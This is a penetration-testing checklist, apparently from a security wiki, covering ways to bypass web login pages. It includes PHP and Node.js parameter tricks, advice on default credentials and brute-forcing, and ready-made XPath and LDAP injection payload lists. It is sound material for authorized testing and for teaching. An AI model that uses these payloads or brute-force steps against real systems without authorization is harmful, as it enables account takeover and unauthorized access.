# Login Bypass

## **Bypass regular login**

If you find a login page, here you can find some techniques to try to bypass it:

* Check for **comments** inside the page (scroll down and to the right?)
* Check if you can **directly access the restricted pages**
* Check to **not send the parameters** (do not send any or only 1)
* Check the **PHP comparisons error:** `user[]=a&pwd=b` , `user=a&pwd[]=b` , `user[]=a&pwd[]=b`
* Check nodejs potential parsing error (read [**this**](https://flattsecurity.medium.com/finding-an-unseen-sql-injection-by-bypassing-escape-functions-in-mysqljs-mysql-90b27f6542b4)): `password[password]=1`
  * Nodejs will transform that payload to a query similar to the following one: `SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND`` `**`password=password=1`**`;` which makes the password bit to be always true.
  * Adding `"stringifyObjects":true` option when calling `mysql.createConnection` will eventually block all unexpected behaviours when `Object` is passed in the parameter.
* Check credentials:
  * [**Default credentials**](../../brute-force.md#default-credentials) of the technology/platform used
  * **Common combinations** (root, admin, password, name of the tech, default user with one of these passwords).
  * Create a dictionary using **Cewl**, **add** the **default** username and password (if there is) and try to brute-force it using all the words as **usernames and password**
  * **Brute-force** using a bigger **dictionary (**[**Brute force**](../../brute-force.md#http-post-form)**)**

### SQL Injection authentication bypass

[Here you can find several tricks to bypass the login via **SQL injections**](../sql-injection/#authentication-bypass).

In the following page you can find a **custom list to try to bypass login** via SQL Injections:

{% content-ref url="sql-login-bypass.md" %}
[sql-login-bypass.md](sql-login-bypass.md)
{% endcontent-ref %}

### No SQL Injection authentication bypass

[Here you can find several tricks to bypass the login via **No SQL Injections**](../nosql-injection.md#basic-authentication-bypass)**.**

As the NoSQL Injections requires to change the parameters value, you will need to test them manually.

### XPath Injection authentication bypass

[Here you can find several tricks to bypass the login via **XPath Injection.**](../xpath-injection.md#authentication-bypass)

```
' or '1'='1
' or ''='
' or 1]%00
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
'or string-length(name(.))<10 or'
'or contains(name,'adm') or'
'or contains(.,'adm') or'
'or position()=2 or'
admin' or '
admin' or '1'='2
```

### LDAP Injection authentication bypass

[Here you can find several tricks to bypass the login via **LDAP Injection.**](../ldap-injection.md#login-bypass)

```
*
*)(&
*)(|(&
pwd)
*)(|(*
*))%00
admin)(&)
pwd
admin)(!(&(|
pwd))
admin))(|(|
```

### Remember Me

If the page has "**Remember Me**" functionality check how is it implemented and see if you can abuse it to **takeover other accounts**.

### Redirects

Pages usually redirects users after login, check if you can alter that redirect to cause an [**Open Redirect**](../open-redirect.md). Maybe you can steal some information (codes, cookies...) if you redirect the user to your web.

## Other Checks

* Check if you can **enumerate usernames** abusing the login functionality.
* Check if **auto-complete** is active in the password/**sensitive** information **forms** **input:** `<input autocomplete="false"`